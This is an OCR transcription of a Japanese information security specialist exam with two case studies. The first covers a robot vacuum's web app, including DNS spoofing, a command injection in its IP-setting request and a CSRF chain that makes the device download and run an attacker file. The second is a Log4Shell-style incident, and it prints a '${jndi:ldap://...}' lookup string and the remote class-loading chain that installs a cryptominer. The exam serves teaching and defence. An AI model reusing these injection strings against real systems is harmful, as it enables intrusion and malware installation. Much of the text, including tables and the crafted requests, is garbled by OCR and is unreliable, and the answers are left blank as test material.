情報処理安全確保支援士 2022年 秋期 午後I 問題

共通の文章

IoT製品の開発に関する次の記述を読んで,設問に答えよ。 J社は,家電の製造・販売を手掛ける従業員1,000名の会社である。J社では,自 社の売れ筋製品であるロボット掃除機の新製品(以下,製品という)を開発し,販 売することにした。製品Rの仕様を図1に示す。 ・掃除機能に加え,無線LANへの接続機能を搭載する。さらに,製品RがもつWebアプリケーシ ョンプログラム(以下,WebアプリRという)経由で掃除エリアを設定する機能や掃除履歴を 確認する機能を搭載する。 ・DHCPでIPアドレスの割当てが行われる。 ・スマートフォンにインストールした専用のアプリケーションプログラムは,同一セグメント 内にある製品Rを探し,WebアプリRにアクセスする。 ・製品Rに設定されたIPアドレスを使い,PCのWebブラウザからWebアプリRにアクセスする こともできる。 ・製品Rに搭載するファームウェアにはLinuxベースの0Sを用いる。WebアプリRはその0Sの 上で動作させる。 ・WebアプリRit,次の機能を有する。 1.ログイン機能 WebアプリRを使うために,利用者IDとパスワードによる認証を行う。 2.掃除エリア設定機能 (省略) 3.掃除履歴確認機能 (省略) 4.ファームウェアアップデート機能 J社のファームウェア提供サーバ(以下,Wサーバという)からインターネット経由で,新 しいバージョンのファームウェアを適用する。本機能では,Wサーバに新しいバージョンの ファームウェアが存在するかどうかを確認し,存在する場合にはダウンロードして適用す る。本機能は,定期的に実行されるが,利用者からWebアプリR経由でファームウェアア ップデートが要求されたときも実行される。本機能ではWサーバの名前解決を行う。製品R からWサーバに対するファームウェアアップデートの要求はHTTPSで行う。 5.IPアドレス設定機能 製品Rに新しいIPアドレスを設定する。POSTメソッドによる入力だけを受け付ける。 図1製品Rの仕様(抜粋) WebアプリRを含むおファームウェアの開発は,開発部のFさんとG主任が担当する にながった。 =i 0= 〔各機能のセキュリティ対策の検討] まず,Fさんは,ファームウェアアップデート機能のセキュリティ対策を検討した。 ファームウェアアップデート機能が偽のファームウェアをダウンロードしてしまう ケースを考えた。そのケースには,DNSキャッシュサーバが権威DNSサーバにWサー バの名前解決要求を行ったときに,攻撃者が偽装したDNS応答を送信するという手法 を使って攻撃を行うケースがある。この攻撃手法は| 。|と呼ばれる。 この攻撃は,DNSキャッシュサーバが通信プロトコルに| b|を使って名前 解決要求を送信し,かつ,攻撃者が送信したDNS応答が,当該DNSキャッシュサーバ に到達できることに加えて,①幾つかの条件を満たした場合に成功する。攻撃が成 功すると,DNSキャッシュサーバが攻撃者による応答を正当なDNS応答として処理し てしまい,偽の情報が保存される。当該DNSキャッシュサーバを製品Rが利用して, この攻撃の影響を受けると,攻撃者のサーバから偽のファームウェアをダウンロー ドしてしまう。しかし,Fさんは,②@製品Rは,Wサーバとの間の通信においてHTTPS を適切に実装しているので,この攻撃の影響は受けないと考えた。Fさんは,ファー ムウェアアップデート機能のセキュリティ対策がこれで十分か,G主任に相談した。 次は,この時のG主任とF「さんとの会話である。 GEE:攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避 できます。しかし,偽のファームウェアをダウンロードしてしまう場合と して,ほかにも,攻撃者がWサーバに侵入するなどの方法でファームウェ 上アを直接置き換える場合もあります。対策として,ファームウェアに |<|]を導入しましょう。まず,製品Rでは|c|証明書がJ 社のものであることを検証します。その上で,検証された|c|証 明書を使って,ダウンロードしたファームウェアの真正性を検証しましょ う。 Fさん:分かりました。 続いて,Fさんは,WebアプリRの実装について開発部の他の部員にレビューを依 Lic.その結果,脆弱性Aと脆弱性Bの二つの脆弱性が指摘された。 ー3一 [脆弱性A) IPアドレス設定機能には,任意のコマンドを実行してしまう脆弱性がある。図2に 示すように,利用者がIPアドレス設定画面でIPアドレス,サブネットマスク及びデ フォルトゲートウェイのIPアドレスをそれぞれ入力してから確認ボタンをクリック し,IPアドレス設定確認画面で確定ボタンをクリックすると,setvalueに対して図 3に示すリクエストが送信される。setvalueが図3中のパラメータを含むおコマンド文 字列をシェルに渡すと,図4のIPアドレス設定を行うコマンドなどが実行される。 IPアドレス設定画面IPアドレス設定確認画面 次の値を設定します アドレスTPアドレス192,168.1,101 サブネットマスクサブネットマスク255,255.255.0 デフォルトゲートウェイデフォルトゲートウェイ192.168.1.1 図2 IPアドレス設定に用いる画面 POST/setvalue HTTP/1.1 Host:192,168.1.100» (中略) ipaddress=192.168.1.101&netmask=255,255,255,O&defaultgw=192,168.1.1 注”“192.168.1.100”は,製品Rの変更前のITPアドレスである。 3 setvalueに送信されるリクエスト ifconfig eth1”192.168.1.101”netmask"255.255.255.0" 図4 IPアドレス設定を行うコマンド リクエストに対するsetvalueの処理には,| d|しまうという問題点がある ので,setvalueに対して,図5に示す細工されたリクエストが送られると,製品Rは 想定外のコマンドを実行してしまう。 =4= ee 2.168.1.1リ9 POST/setvalue HTTP/1.1 Host:192.168.1.100 (中略) 注""192.168.1.19”は,製品Rから到達可能なIPアドレスである。 2 URLデコード済みである。 図5細工されたリクエストの例 [脆弱性B) IPアドレス設定機能には,ログイン済みの利用者が攻撃者によって設置された思 サイトにアクセスし,利用者が意図せずに悪意のあるリクエストをWebアプリRに送 信させられた場合に,WebアプリRがそのリクエストを受け付けて処理してしまう脆 弱性がある。 〔脆弱性の修正 Rik,二つの脆弱性の指摘を踏まえて修正を検討した時の,FさんとG主任の会話 である。 FSA:脆弱性A COM,悪用されるリスクは低いです。というのは,利用者宅内 にある製品Rは,インターネットからは直接アクセスできないと想定され るからです。攻撃するには,攻撃者は利用者宅の同二セグメントにつなぎ, 不正なログインも成功させる必要があります。修正の優先度を下げてもよ いのではないでしょうか。 GEE:確かに脆弱性Aだけを悪用されるリスクは低いでしょう。しかし,例えば, 攻撃者が,WebアプリRにログイン済みの利用者を罠サイトに誘い,OME の攻撃リクエストを送信させると,脆弱性Bが悪用され,その後,脆弱性 Aが悪用されます。この結果,製品Rは攻撃者のファイルをダウンロード して実行してしまいます。このリスクは低くありません。 ーg一 ee -;"&defaultgw=192.168.1.1 1? POST/setvalue HTTP/1.1 Host:192.168.1.100 (中略) =“http://AAA.com”は,攻撃者のファイルをダウンロードさせるためのURLである。 2 URLデコード済みである。 6攻撃リクエスト FEA:分かりました。脆弱性Aと脆弱性Bの両方を修正します。 Fさんは,脆弱性Aへの対策として,利用者からリクエストのパラメータとして受 け取ったIPアドレス情報を,コマンドを用いず安全にIPアドレスを設定できるライ ブラリ関数を利用する方法で設定することにした。RIC,脆弱性Bについては,利用 者からのリクエストのパラメータに,セッションにひも付けられ,かつ, [ce|という特徴をもつトークンを付与し,WebアプリRはそのトークンを検証 するように修正した。 Fさんと6主任は,そのほかに必要なテストも行って,WebアプリRを含むファー ムウェアの開発を完了した。

共通の文章

脆弱性に起因するセキュリティインシデントへの対応に関する次の記述を読んで, 設問に答えよ。 U社は,従業員200名の食品製造業である。情報システム部がシステムを管理して いる。り社のネットワーク構成を図1に,サーバの機能概要を表1に示す。 <インターネットつ!DMZ予約|i U社ーーーーーニニーニーーーーーニーーニーニーーーュ 1 PC-LAN 11 1 1!>1 L2SW:レイヤー2スイッチ|nd)eT nnにーーニニニーニニーー』 図1 U社のネットワーク構成(抜粋) 表1サーバの機能概要(抜粋) プロキシサ|・インターネットへのHTTP通信及びHTTPS通信を中継するためのフォワードプロ ーバキシけりである。 ・URLフィルタリングソフトが組み込まれており,URLフィルタリングルールを用 UT,URLごとにアクセスを許可又は拒否することができる。アクセス元のIP アドレス範囲ごとにそれぞれ別のURLフィルタリングルールを定義むせることがで きる。 ・ーつのURLフィルタリングルールは次の二つのリストから成り,上から順に適用 される。 -許可リスト -拒否リスト ・許可リストに「『全て"を指定すると,全てのURLへの通信を許可する。拒否リス トに『全て"を指定すると,許可リストに指定したURL以外のURLへの通信が拒 否される。何も指定しない許可リストは,スキップされる。拒否リストも同様 である。 ・どのリストにも該当しないURLは,アクセスが許可される。 予約サーバ|・U社の工場見学のオンライン予約を見学希望者が行うためのサーバである。Java を利用したオンライン予約システムのパッケージであるB社のTソフトを使って いる。 ・見学希望者は,HTTPSでアクセスし,空いている日時を選択して見学希望者の情 報を入力することによって予約ができる。工場見学の空き状況はU社のSNSアカ ウントを利用して,クラウドサービス上の複数のSNS投稿用のサーバに対して HTTPSで定期的に投稿される。 会員サーバ|・U社の顧客向けに会員サイトを提供している。Javaを利用している。会員は HTTPSでアクセスする。会員サイトの利用には,利用者IDとパスワードによる ログインが必要である。 x TLSの復号及び再暗号化ができ,HTTPS通信内容を参照することができる。 —.8<= FWのフィルタリングルールを表2に示す。 表2 FWのフィルタリングルール |1|インターネット|予約サーバ。会員サーバ IHN eee eee eee eee eee eee 2 注記1 FWは,ステートフルパケットインスペクション型である。 注記2項番の小さいルールから順に,最初に一致したルールが適用される。 注記3 IRB 6~11にはDMZ内のサーバとインターネットとの間,及びPC-LANとインターネットと の間の通信に関するルールはない。 注!代替HTTPのポート番号は,8080 CHS, [セキュリティインシデントの報告と調査 HSA,予約サーバでCPU使用率が高い状態が継続するという問題が発生した。情 報システム部の予約サーバの担当者が調査したところ,普段予約サーバでは, BSoftMainとSBMainというTソフトのプロセスが稼働しているが,この日はrunとい う名称の見慣れないプロセス(以下,runプロセスという)も稼働していた。サーバ 内で一定間隔で取得しているプロセスの一覧から,runプロセスが13:07:00 AS CPU 使用率を上げていたことが判明した。 この結果を受け,情報システム部のD主任はセキュリティインシデントの疑いがあ ると判断し,上司に報告の上,予約サーバの調査を開始した。 13:07:00における予約サーバのプロセス一覧とコネクション一覧を表3と表4に それぞれ示す。 表3予約サーバのプロセス一覧(抜粋) Era (a)Ci) He|iW|is:ee:@9|javasMain|(省申 CB) iam 9に 表4予約サーバのコネクション一覧(抜粋) 注記a1.b1.c1.d1とa3.b3.c3.83はグローバルIPアドレスを表す。以下 aX.bX.cX.dX(Xには数字が入る)はグローバルIPアドレスを表す。 表3と表4からrunプロセスの外部への通信の有無を確認したところ,IPアドレ スが|a|のホストに対して通信を行っていたことが確認できた。また, |』|を確認したところ,海外のTPアドレスであり,予約サーバの通信先とし て想定されているものではなかった。D主任は上司に報告し,予約サーバをネットワ ークから隅離した。 [予約サーバの調査 D主任は,①表3の内容から,runプロセスが稼働している原因の追穴にはTソフ トを調べる必要があると判断した。B社に状況を説明し,不具合やセキュリティ上の 問題がないか確認したところ,U社が利用しているバージョンには,脆弱性があるこ とが分かった。 その脆弱性とは,Tソフトが利用しているライブラリXというオープンソースのラ イブラリに存在する,リモートから任意のコードが実行可能となる脆弱性(LAE, 脆弱性Yという)である。ライブラリXと脆弱性Yの説明を図2に示す。 [ライブラリXの概要] ライブラリXはJavaのログ出力ライブラリである。ライブラリXには外部オブジェクトを読 み込む機能があり,標準で有効になっている。 [脆弱性Yの概要] ライブラリXを使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場 合,攻撃者の用意したJavaクラスが実行される可能性がある。 [脆弱性YにおいてLDAPを利用した攻撃の例] 1.攻撃者が,攻撃文字列“${jndi:ldap://a4.b4.c4.d4/Exploit}”を含むHTTPリクエストを 送る。攻撃対象のWebサーバにおいて,ライブラリXがログ出力処理をする文字列中に当該 攻撃文字列が含まれると,ライブラリXはIPアドレスがa4.b4.c4.04のサーバに対し LDAPで"Exploit”というクエリを送る。 2.攻撃者の用意したIPアドレスがa4.b4.c4.d4のLDAPサーバは“Exploit”というクエリを Sit,“http://a5.b5.c5.d5/JClass”を取得させるための情報を返す。 M2ライブラリXと脆弱性Yの説明 ies 10— 3.ライブラリXはURLに従い,攻撃者の用意したWebサーバであるa5.b5.c5.d5のサーバにア クセスし,レスポンスに含まれるJavaクラスである“JClass”を実行する。 4.JClassは,攻撃者の用意したURLである"http://a6.b6.c6.d6/malwarex”にリクエストを SEY,レスポンスに含まれるファイルを“malwarex”というファイル名で保存し,実行す る。 注記“Exploit”,“JClass”,“malwarex”といった文字列やIPアドレスは攻撃ごとに異なる。 図2ライブラリXと脆弱性Yの説明(続き) runプロセス起動前後の13:99:99から13:16:00 ECO,予約サーバのアクセスロ グを調査した結果,表5に示す,脆弱性Yを悪用したと考えられるアクセスログを発 見した。 表5脆弱性Yを悪用したと考えられるアクセスログ $Hrdiildsp://s6.58.c8.G8/JExm D主任はrunプロセスがどのような経緯で起動したかを調査するために,FWの通信 ログを確認した。runプロセス起動前後の13:99:99 AS 13:16:00までのFW OWED グのうち,予約サーバを送信元とするものを表6に示す。 表6予約サーバを送信元とするFWの通信ログ 処理結果 FOR D主任はここまでの調査で分かった情報から,予約サーバへの攻撃の流れを表7の とおりまとめた。 表7予約サーバへの攻撃の流れ スに| f|というクエリを送った。 れ,攻撃者の用意したURLに対してHTTP通信が行われた。 runプロセスが起動した。 |6|a)FMR,runプロセスが攻撃者のサーバに通信を行った。| U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安 全確保支援士(登録セキスペぺ)であるE氏の協力を得てrunプロセスについての調査 を進めた結果,暗号資産採掘ソフトウェアであることが分かった。予約サーバにお いて,予約情報への不正なアクセスは確認できなかった。 〔会員サーバの調査 次に,会員サーバにおいて,ライブラリXの利用の有無及び同様の攻撃の有無を確 認したところ,会員サーバにおいてもライブラリXでログ出力処理を行っていること, 及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが 記録されていることが分かった。しかし,調査の結果,攻撃は失敗していたことが 判明した。D主任は,攻撃が失敗したのは,攻撃者が会員サーバにログインするため の利用者IDとパスワードを知らなかったからだと考えた。しかし,E Kit,②@脆弱 性Yは認証前のアクセスでも悪用できるので,そうではないと指摘した。予約サーバ とは違って攻撃が失敗したのは,③別の理由だとD主任に説明した。 〔脆弱性への対応〕 D主任は上司に調査結果を報告した。その後,予約サーバは,0S及び必要なソフト ウェアをクリーンインストールし,バックアップデータから復旧を行った。さらに, 予約サーバと会員サーバについて,脆弱性Yに対する脆弱性修正プログラムを適用し Tea =i 12こ 〔再発防止策の検討 続けて,D主任は外部への不正通信が発生したことへの再発防止策を,E氏ととも に検討した。再発防止策として,予約サーバからインターネットへの通信に関する 設定を変更することにした。必要な設定変更内容は次のとおりである。 ・予約サーバを起点とするインターネットへのHTTPS通信は,プロキシサーバを中継 させる設定とする。 ・FWフィルタリングルールについて,表2の項番2を削除する。 ・URLフィルタリングルールについて,表8に示す内容で設定する。 表8 URLフィルタリングルールについての設定 検討した再発防止策は採用され,今回の対応を完了した。